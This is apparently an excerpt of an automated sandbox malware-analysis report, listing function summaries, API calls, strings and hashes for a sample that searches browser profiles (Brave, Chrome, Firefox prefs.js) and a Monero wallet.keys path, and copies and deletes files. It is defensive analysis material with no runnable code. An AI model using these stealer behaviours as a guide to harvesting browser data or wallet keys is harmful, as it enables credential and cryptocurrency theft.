Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 5fc299a38ce6f3700b1748b1f62951d4a0259e52ed2dfce90aa9f30d2f772457
Instruction ID: e9a0dd610beb00ea14a235589729405ceb21805b4f84d13a48229a3f205e5fab
Opcode Fuzzy Hash: 5fc299a38ce6f3700b1748b1f62951d4a0259e52ed2dfce90aa9f30d2f772457
Instruction Fuzzy Hash: B842A372A00145EBDB15FB70DD95EED733DAB64300F404598E98B97084EF38AB4ACBA1

Function 01014910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0101492C
FindFirstFileA.KERNEL32(?,?), ref: 01014943
StrCmpCA.SHLWAPI(?,01020FDC), ref: 01014971
StrCmpCA.SHLWAPI(?,01020FE0), ref: 01014987
FindNextFileA.KERNEL32(000000FF,?), ref: 01014B7D
FindClose.KERNEL32(000000FF), ref: 01014B92

Strings

%s\%s, xrefs: 010149FB
%s\*, xrefs: 01014920
%s\%s, xrefs: 010149A4

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 957272fbf8c258385bfff8b18a2229b843b2f5de1e9b8b5d6118c8b964a7145d
Instruction ID: 5c4ac8cf2fc4315c4d64e573b7ee7ee5edfbccd6cf1d43c5ce94541862781d5b
Opcode Fuzzy Hash: 957272fbf8c258385bfff8b18a2229b843b2f5de1e9b8b5d6118c8b964a7145d
Instruction Fuzzy Hash: C86175B6940219ABDB34EBA0EC48EEA73BCFB58700F00458CF64A97048EB759745CF90

Function 01013EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 01013EC3
FindFirstFileA.KERNEL32(?,?), ref: 01013EDA
StrCmpCA.SHLWAPI(?,01020FAC), ref: 01013F08
StrCmpCA.SHLWAPI(?,01020FB0), ref: 01013F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0101406C
FindClose.KERNEL32(000000FF), ref: 01014081

Strings

%s\%s, xrefs: 01013EB7

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: f184eb21958408ee1c445e518297f97029dc89b917fb5fc1d9d4b757d284856a
Instruction ID: dd660f31ed6abd993c748daba537c7cbbb49136df51ba43b554485e1d0883808
Opcode Fuzzy Hash: f184eb21958408ee1c445e518297f97029dc89b917fb5fc1d9d4b757d284856a
Instruction Fuzzy Hash: 175178B6940219ABDB25EBB0DC49EEA737CFB58300F04458CF69A97084DB75D7858F50

Function 0100F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,010215B8,01020D96), ref: 0100F71E
StrCmpCA.SHLWAPI(?,010215BC), ref: 0100F76F
StrCmpCA.SHLWAPI(?,010215C0), ref: 0100F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0100FAB1
FindClose.KERNEL32(000000FF), ref: 0100FAC3

Strings

prefs.js, xrefs: 0100F812

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: c4a315760539d0b3932ec020c9300baa6738f849ef676e6b4e5de32a85b6576f
Instruction ID: e1a7fae74fb81186c7c7304d73aa46ecd50d658477b8ee5e0f8a4e621d5fcba1
Opcode Fuzzy Hash: c4a315760539d0b3932ec020c9300baa6738f849ef676e6b4e5de32a85b6576f
Instruction Fuzzy Hash: 3DB17571A0115ADBDB25FF60DD54EED7379AF64300F4081A8E88A97184EF345B4ACF91

Function 010016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0102510C,?,?,?,010251B4,?,?,00000000,?,00000000), ref: 01001923
StrCmpCA.SHLWAPI(?,0102525C), ref: 01001973
StrCmpCA.SHLWAPI(?,01025304), ref: 01001989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 01001D40
DeleteFileA.KERNEL32(00000000), ref: 01001DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 01001E20
FindClose.KERNEL32(000000FF), ref: 01001E32

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Strings

\*.*, xrefs: 010017F1

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: a5ede0c2f5131f1f701d52661fe1344ae000c69248c883f8595383dfadcae228
Instruction ID: 1144aecb851d7b4cc88f6f513f18842bdd0d2b449ac38a1626cb325c403a4d36
Opcode Fuzzy Hash: a5ede0c2f5131f1f701d52661fe1344ae000c69248c883f8595383dfadcae228
Instruction Fuzzy Hash: F5129371A11159DBDB19FB60DC94EEE7379AF24310F4041D9A58A63094EF386F8ACFA0

Function 0100DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,010214B0,01020C2A), ref: 0100DAEB
StrCmpCA.SHLWAPI(?,010214B4), ref: 0100DB33
StrCmpCA.SHLWAPI(?,010214B8), ref: 0100DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0100DDCC
FindClose.KERNEL32(000000FF), ref: 0100DDDE

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: b23cb9c3ba92f4dd52ce201d9c48f1e2649afdfd2605ad378ec6de9fc7a03313
Instruction ID: 3b04b89bb43d6c0828372973cfac19d497760f326d3d891261ddb6f854d43ee8
Opcode Fuzzy Hash: b23cb9c3ba92f4dd52ce201d9c48f1e2649afdfd2605ad378ec6de9fc7a03313
Instruction Fuzzy Hash: 31917676A00105DBDB15FBB0ED59DED737DAFA4300F408558E88B97188EE389B0D8BA1

Function 01017B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

GetKeyboardLayoutList.USER32(00000000,00000000,010205AF), ref: 01017BE1
LocalAlloc.KERNEL32(00000040,?), ref: 01017BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 01017C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 01017C62
LocalFree.KERNEL32(00000000), ref: 01017D22

Strings

/ , xrefs: 01017C7F

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: befce8d2369322696880ee062f0e5de3b3d61c79129f0a4dc8fda7934a4f3573
Instruction ID: 9f56ccf0fd1bb9c2c10977a4bfe842523b6e46f9befcc23bd5f314f540745c23
Opcode Fuzzy Hash: befce8d2369322696880ee062f0e5de3b3d61c79129f0a4dc8fda7934a4f3573
Instruction Fuzzy Hash: DB414A7194121DEBDB24DB94DC98BEEB3B8FB58710F104199E50A67184DB382F86CFA0

Function 0100E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,01869010,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,01020D73), ref: 0100E4A2
StrCmpCA.SHLWAPI(?,010214F8), ref: 0100E4F2
StrCmpCA.SHLWAPI(?,010214FC), ref: 0100E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0100EBDF

Strings

\*.*, xrefs: 0100E44D

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
